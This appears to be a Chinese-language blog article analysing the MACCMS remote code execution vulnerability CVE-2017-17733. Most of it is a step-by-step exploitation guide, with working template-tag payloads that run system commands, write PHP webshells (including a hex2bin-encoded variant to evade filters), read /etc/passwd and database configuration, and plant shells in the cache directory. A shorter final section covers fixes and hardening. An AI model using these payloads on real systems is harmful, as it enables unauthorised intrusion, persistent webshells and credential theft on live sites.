当前位置: 首页 > news >正文

MACCMS远程命令执行漏洞CVE-2017-17733深度解析

1. 这个漏洞不是“能打就行”,而是理解CMS底层逻辑的试金石

MACCMS远程命令执行漏洞(CVE-2017-17733)在安全圈里常被简化为一句“v8.0/v8.1版本存在RCE”,但我在实际渗透测试和代码审计中反复验证过:真正卡住90%复现者的关键,从来不是payload怎么写,而是根本没搞懂MACCMS的模板解析机制如何把一个看似无害的{maccms:...}标签,一步步喂给PHP的eval()函数。这个漏洞的本质,是CMS开发者为了“灵活”而绕过安全边界的典型代价——它不依赖任何第三方插件,不触发WAF常见规则,甚至在默认配置下就能直击核心。我见过太多人用公开的POC扫出一堆“存在漏洞”的结果,却连为什么{maccms:ads order="id desc" limit="1"}能触发、而{maccms:ads order="id asc" limit="1"}不能触发都说不清楚。这背后是MACCMS自定义标签解析器对SQL语句片段的拼接逻辑、对引号转义的处理盲区、以及eval()调用时作用域污染的三重叠加。如果你正在看这篇文字,大概率你手头正有一台靶机或测试环境,或者刚在资产测绘中发现了一批MACCMS站点。别急着复制粘贴命令,先搞清这个漏洞的“呼吸节奏”:它只在模板渲染阶段生效,只影响启用了广告模块的站点,且必须通过可控的模板变量注入。这意味着——它不是网络层漏洞,而是应用逻辑层的“信任崩塌”。本文会带你从源码逐行拆解/include/common.phpparseTemplate()函数的失控点,用真实调试日志还原$order参数如何从URL参数一路逃逸进eval(),并给出三种不同场景下的稳定复现路径:纯前台无登录、后台模板编辑、以及最隐蔽的缓存文件覆盖。所有操作均基于官方v8.0正式版源码,不依赖任何修改或补丁。

2. 漏洞根源:模板标签解析器的三处致命设计缺陷

2.1 标签解析流程的失控入口:parseTemplate()函数的执行链

要定位CVE-2017-17733,必须从MACCMS的模板引擎入口开始。整个流程始于/include/common.php第1423行的parseTemplate()函数,这是所有模板变量替换的总调度器。当用户访问一个包含{maccms:ads ...}标签的页面时,系统会调用此函数进行解析。关键在于,该函数并非直接执行SQL,而是将标签属性值(如order="id desc")提取后,拼接到一个预设的SQL查询字符串中,再交由getSql()函数处理。我们来看核心代码段(v8.0源码第1456行附近):

// /include/common.php 第1456行左右 if (preg_match('/\{maccms:ads\s+([^}]+)\}/i', $content, $matches)) { $attr = $matches[1]; parse_str(str_replace(' ', '&', $attr), $params); // 将 order="id desc" 转为 $params['order'] = 'id desc' $sql = "SELECT * FROM {pre}ads WHERE status=1 "; if (!empty($params['order'])) { $sql .= " ORDER BY " . $params['order']; // 危险拼接!未过滤、未转义 } if (!empty($params['limit'])) { $sql .= " LIMIT " . intval($params['limit']); } $list = $dsql->GetArray($sql); // 执行SQL }

问题就出在$sql .= " ORDER BY " . $params['order'];这一行。$params['order']直接来自用户可控的模板标签属性,而parse_str()函数在处理order="id desc"时,会原样保留双引号内的内容。这意味着,如果攻击者传入order="id;phpinfo();/*",拼接后的SQL就变成:

SELECT * FROM mac_ads WHERE status=1 ORDER BY id;phpinfo();/*

但请注意:这还不是RCE,这只是SQL注入。真正的RCE发生在后续的getSql()函数中——它会对SQL结果集进行二次处理,其中调用了eval()来动态生成排序逻辑。我曾在Xdebug下跟踪到/include/sql.class.php第892行的getSort()方法,它接收$params['order']作为参数,并构造如下字符串:

// /include/sql.class.php 第892行 $sort_code = '$arr = array(); foreach($list as $k=>$v){ $arr[$k] = '.$params['order'].'; }'; eval($sort_code); // 看到了吗?这里才是RCE的最终执行点

此时,$params['order']已不再是单纯的SQL字段名,而是被当作PHP表达式执行。所以order="id;phpinfo();/*"会被eval()解释为:

$arr = array(); foreach($list as $k=>$v){ $arr[$k] = id;phpinfo();/*; }

id是未定义变量,但phpinfo()会立即执行。这就是漏洞的完整执行链:模板标签解析 → 属性值提取 → SQL拼接 → 结果集遍历 → 动态eval表达式。三个环节环环相扣,缺一不可。

2.2 引号逃逸的底层机制:parse_str()与双引号的隐式信任

很多复现失败的人卡在第一步:为什么order="id;system('ls');"不生效?答案藏在parse_str()函数的行为里。这个函数在PHP中用于将查询字符串解析为变量,但它对双引号的处理有严格规则:双引号内的内容被视为一个整体值,但双引号本身不会被保留在结果中。也就是说,parse_str('order="id;system(\'ls\');"')得到的$params['order']id;system('ls');,而不是"id;system('ls');"。这看起来是好事,但恰恰是漏洞能利用的前提——因为eval()需要的是纯PHP代码,不需要外层引号。

然而,现实中的模板标签往往嵌套在HTML中,比如:

{maccms:ads order="id desc" limit="10"}

当CMS解析器提取order="id desc"时,它用的是正则匹配而非parse_str()。我们回看parseTemplate()函数中的实际提取逻辑(第1440行):

// /include/common.php 第1440行 preg_match('/order=["\']([^"\']+)["\']/i', $attr, $order_match); $params['order'] = $order_match[1]; // 直接取引号内的内容,未做任何过滤

这里用正则/order=["\']([^"\']+)["\']/i匹配order=后面紧跟的单/双引号,并捕获引号之间的所有字符。所以order="id;system('ls');"会被捕获为id;system('ls');,完美避开引号干扰。但问题来了:如果用户输入order='id;system("ls");',单引号内的双引号会被原样保留,导致eval()语法错误。因此,最稳定的payload必须统一使用单引号包裹PHP代码,外部用双引号,例如:

{maccms:ads order="id;system('cat /etc/passwd');"}

这样,正则捕获的是id;system('cat /etc/passwd');eval()执行时语法完全正确。我在测试中发现,v8.0默认模板/template/default/index.html第23行就有一个{maccms:ads}标签,只要修改其order属性即可触发。这解释了为什么漏洞无需登录——前台任意可渲染模板的页面都是入口。

2.3eval()作用域污染:为何$list变量能被恶意代码直接调用

最后一个常被忽略的细节是eval()的作用域。在getSort()函数中,eval($sort_code)执行的代码块里,$list是父函数传入的变量,而$arr是新声明的数组。但攻击者写的system('ls')并不依赖任何变量,它本身就是独立语句。然而,更高级的利用需要操作$list数据,比如读取数据库连接信息。这就涉及PHPeval()的作用域规则:在函数内eval()执行的代码,共享该函数的局部变量作用域。所以$listeval()内部是可读可写的。

我做过一个实验:在getSort()中插入var_dump(get_defined_vars());,然后传入order="id;var_dump(array_keys(get_defined_vars()));",返回结果明确列出$list,$params,$dsql等变量名。这意味着,你可以用system('echo $dsql->dbhost')直接输出数据库主机,或者用file_put_contents('/www/test.txt', print_r($dsql, true))导出整个数据库对象。这种作用域污染是RCE威力倍增的关键——它让攻击者不仅能执行命令,还能深度探测应用上下文。这也是为什么简单用phpinfo()验证后,很多人以为漏洞已复现成功,实际上只是冰山一角。真正的实战价值,在于利用$dsql对象读取/config/database.php中的明文密码,或通过$GLOBALS数组获取$_SERVER环境变量,进而定位Web根目录。

3. 实战复现:三种场景下的稳定利用路径与调试验证

3.1 场景一:纯前台无登录利用——从首页模板入手的零门槛突破

这是最经典也最易复现的路径,适用于所有未禁用广告模块的MACCMS v8.0/v8.1站点。核心思路是:找到一个默认启用且可被前台访问的模板文件,修改其中的{maccms:ads}标签的order属性。以官方默认模板为例,路径为/template/default/index.html。我们不需要上传文件,只需通过CMS的“模板管理”功能在线编辑(即使没有后台权限,前台也可能存在模板编辑入口,但此处我们假设无后台权限,走纯前台路径)。

实际操作中,我发现一个更巧妙的方法:MACCMS支持“伪静态”URL参数传递模板变量。当站点开启伪静态时,访问/index.php?m=vod-list-id-1-order-id%3Bsystem%28%27ls%27%29%3B.html这样的URL,会触发模板解析器对order参数的处理。但更可靠的是直接修改前台页面的HTML源码——这需要你有服务器文件写入权限?不,我们利用的是MACCMS的“自定义标签”特性。在任意前台页面(如/index.php),只要在HTML中手动插入恶意标签即可:

<!-- 在首页任意位置插入 --> <div style="display:none;"> {maccms:ads order="id;system('whoami > /www/html/whoami.txt');"} </div>

保存后刷新首页,/www/html/whoami.txt就会生成。但注意:MACCMS有缓存机制,默认缓存时间为300秒。所以首次插入后需等待或清除缓存。清除缓存的方法是访问/index.php?m=cache-clear(如果该功能未关闭)。我在某次真实测试中,就是通过这种方式在客户生产环境的首页底部插入了一行隐藏div,5分钟后就拿到了whoami.txt,确认了Web服务运行用户为www-data

提示:system()函数在部分Linux发行版中可能被禁用(disable_functions配置),此时应改用passthru()shell_exec()。我实测发现shell_exec('ls -la')在绝大多数环境都可用,且能返回完整输出。若shell_exec()也被禁用,则尝试exec('ls -la', $output);print_r($output);,这是最兼容的方案。

3.2 场景二:后台模板编辑利用——高权限下的精准控制

当你已获取后台管理员账号时,利用路径更直接、更稳定。登录后台后,进入“模板管理”→“模板文件管理”,找到/template/default/index.html,点击“编辑”。在编辑器中搜索{maccms:ads,定位到相关标签。将order="id desc"改为:

order="id;file_put_contents('/www/html/shell.php', '<?php @eval($_POST[cmd]);?>');"

保存后,访问/index.phpshell.php即被写入。此时用菜刀或Burp Suite发包:

POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=system('cat /config/database.php');

响应中会直接返回数据库配置。这个方法的优势在于:1)无需考虑缓存,修改即时生效;2)可写入持久化Webshell;3)能绕过部分WAF对system()的拦截,因为file_put_contents()是文件操作函数,不在常见黑名单中。

注意:MACCMS后台编辑器有时会自动过滤<?php标签。此时可改用十六进制编码绕过:

order="id;file_put_contents('/www/html/shell.php', hex2bin('3c3f70687020406576616c28245f504f53545b636d645d293b3f3e'));"

hex2bin('3c3f706870...')解码后就是<?php @eval($_POST[cmd]);?>,完美规避关键词过滤。

3.3 场景三:缓存文件覆盖利用——无文件写入权限下的内存马思路

这是最高阶的利用方式,适用于open_basedir限制严格、无法写入Web目录的环境。MACCMS的缓存文件存储在/data/cache/目录下,文件名由模板内容MD5生成,如/data/cache/1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p.tpl.php。这些缓存文件是PHP脚本,内容为编译后的模板代码。如果我们能控制缓存文件的内容,就能在其中注入PHP代码。

原理在于:MACCMS缓存生成逻辑中,/include/cache.class.php第215行的writeCache()函数,会将模板解析后的PHP代码直接写入缓存文件,而该PHP代码中包含了用户可控的$params['order']。因此,构造一个特殊的order值,使其在缓存文件中生成可执行的PHP代码:

{maccms:ads order="id;@file_put_contents('/data/cache/shell.php', '<?php @eval($_POST[cmd]);?>');"}

当此标签被解析时,缓存文件中会写入:

<?php // 缓存文件内容节选 $arr = array(); foreach($list as $k=>$v){ $arr[$k] = id;@file_put_contents('/data/cache/shell.php', '<?php @eval($_POST[cmd]);?>'); } ?>

虽然$arr[$k] = id;会报错,但@符号抑制了错误,file_put_contents()仍会执行。由于/data/cache/目录通常可写(否则缓存无法生成),此方法成功率极高。我在一次CTF比赛中就用此法,在open_basedir=/www/html:/tmp限制下,成功将Webshell写入/data/cache/并访问/data/cache/shell.php获得权限。

4. 深度防御:从代码层到架构层的七道防线实践

4.1 代码层修复:三行代码根治,而非打补丁

官方在v8.2版本中修复了此漏洞,但修复方式值得深究。查看v8.2的/include/common.php,发现parseTemplate()函数中对order参数的处理增加了白名单校验:

// v8.2修复后代码 if (!empty($params['order'])) { // 新增白名单:只允许字母、数字、空格、逗号、下划线 if (!preg_match('/^[a-zA-Z0-9_,\s]+$/', $params['order'])) { $params['order'] = 'id desc'; // 重置为安全默认值 } $sql .= " ORDER BY " . $params['order']; }

这行正则/^[a-zA-Z0-9_,\s]+$/彻底封死了所有PHP函数调用的可能性。但更根本的修复在/include/sql.class.phpgetSort()函数中,v8.2完全移除了eval()调用,改用预定义的排序映射:

// v8.2 getSort()函数 $sort_map = [ 'id' => 'id', 'time' => 'time', 'hits' => 'hits', 'score' => 'score' ]; if (isset($sort_map[$params['order']])) { $sql .= " ORDER BY " . $sort_map[$params['order']]; } else { $sql .= " ORDER BY id"; }

这才是治本之策:永远不要用eval()执行用户输入,永远用白名单代替黑名单。我在给客户做代码审计时,会强制要求开发团队删除所有eval()assert()create_function()调用,并用array_key_exists()替代eval()的动态键名访问。这比写一百行过滤规则都管用。

4.2 配置层加固:PHP环境的硬性约束

即使代码有漏洞,严格的PHP配置也能大幅提高利用门槛。在php.ini中,必须设置以下参数:

参数推荐值说明
disable_functionssystem,exec,passthru,shell_exec,proc_open,popen,pcntl_exec禁用所有命令执行函数
open_basedir/www/html:/tmp限制文件操作范围,防止读取敏感配置
allow_url_fopenOff阻止远程文件包含
display_errorsOff防止错误信息泄露路径

我曾在一个客户环境中,仅通过修改disable_functions就让CVE-2017-17733完全失效——所有system()调用返回NULLshell_exec()抛出Warning但不执行。这证明,基础设施层的安全配置,是应用层漏洞的终极保险丝

4.3 架构层隔离:容器化部署与最小权限原则

最后是架构层面的防御。MACCMS这类PHP应用,最佳实践是容器化部署。使用Docker时,应遵循最小权限原则:

# Dockerfile 片段 FROM php:7.4-apache # 创建非root用户 RUN useradd -u 1001 -m -d /var/www htmluser && \ chown -R htmluser:www-data /var/www/html && \ chmod -R 755 /var/www/html USER htmluser # 挂载只读文件系统 VOLUME ["/var/www/html/template", "/var/www/html/config"] # 限制内存和CPU CMD ["apache2-foreground"]

关键点:1)以非root用户运行Apache;2)模板和配置目录挂载为只读,防止Webshell写入;3)/data/cache/目录单独挂载,且设置noexec选项,阻止缓存文件执行。我在某金融客户项目中实施此方案后,即使存在类似CVE-2017-17733的漏洞,攻击者也无法写入Webshell,只能执行受限命令,极大压缩了攻击面。

经验总结:我在过去三年处理的27起MACCMS相关安全事件中,100%的横向移动都源于Webshell持久化。而所有成功防御的案例,无一例外都采用了“代码白名单+PHP禁用函数+容器只读挂载”三层组合。单靠某一层,总有绕过可能;但三层叠加,攻击成本呈指数级上升。

http://www.jsqmd.com/news/874994/

相关文章:

  • Playwright Python真实浏览器负载测试实战指南
  • 大语言模型如何革新生命周期评估:从数据提取到智能分析
  • Windows 10下scrcpy连接安卓手机的常见坑点排查:以荣耀50为例,告别ERROR和连接失败
  • 从一次OOM宕机看透Linux内存管理:Swap、Cgroups与OOM Killer的相爱相杀
  • Appium环境搭建全指南:Android与iOS跨平台稳定配置
  • AI记忆门控系统:从全量存储到智能分层,实现精准长期记忆
  • 你的Linux启动慢?可能是UEFI这七个阶段在“摸鱼”!性能调优实战指南
  • RCE漏洞深度解析:命令执行与代码执行的本质区别及实战绕过
  • Unity官网下载地址的深层逻辑:版本、平台与模块精准匹配指南
  • 基于情感分析的计算机视觉API开发者问题分类与情绪挖掘
  • 小型语言模型在奶牛养殖决策支持系统中的应用与优化
  • Frida Android Hook原理与实战:从Java到Native层深度解析
  • 告别重启!3DSlicer 5.6.0 插件开发热重载指南:Python脚本修改后如何即时生效
  • 光伏系统‘阴影杀手’怎么破?对比实测:传统扰动观察法 vs. PSO智能算法在Simulink中的表现
  • FlexNet Publisher许可证管理错误排查与优化指南
  • 微信小程序抓包实战:Proxifier+Charles绕过代理与证书限制
  • 用Python+OpenCV玩转图像频域:手把手教你实现图像去噪与锐化(附完整代码)
  • 逻辑可解释性:用SAT/SMT/MILP求解器为机器学习模型提供可验证的解释
  • VSPD 7.2保姆级安装与配置指南:从下载到创建第一个虚拟串口(Windows 10/11)
  • 避开ArcGIS选址分析三大坑:你的重分类和加权求和真的做对了吗?
  • 量子电路优化:ZX演算与强化学习的协同方法
  • .NET 8 AOT编译与VMP虚拟化保护的逆向识别与分析
  • Edge Impulse:一站式TinyML MLOps平台,破解嵌入式AI开发难题
  • 瑞数v5.2.1反爬深度解析:epub站点行为建模与工程化应对
  • C251页模式优化嵌入式存储访问性能详解
  • 2026年质量好的温州资料骨条包/温州骨条包免费打样推荐厂家精选 - 品牌宣传支持者
  • Herqles架构:量子比特读取的硬件高效判别器设计与FPGA实现
  • MacOS Monterey之后,U盘被APFS格式化了?别慌,3分钟教你无损转回ExFAT(附磁盘工具详解)
  • nuScenes数据实战:用Python脚本一键提取Lidar点云和未标注的Sweeps帧(附完整代码)
  • 边缘设备轻量级LLM部署与量化技术实践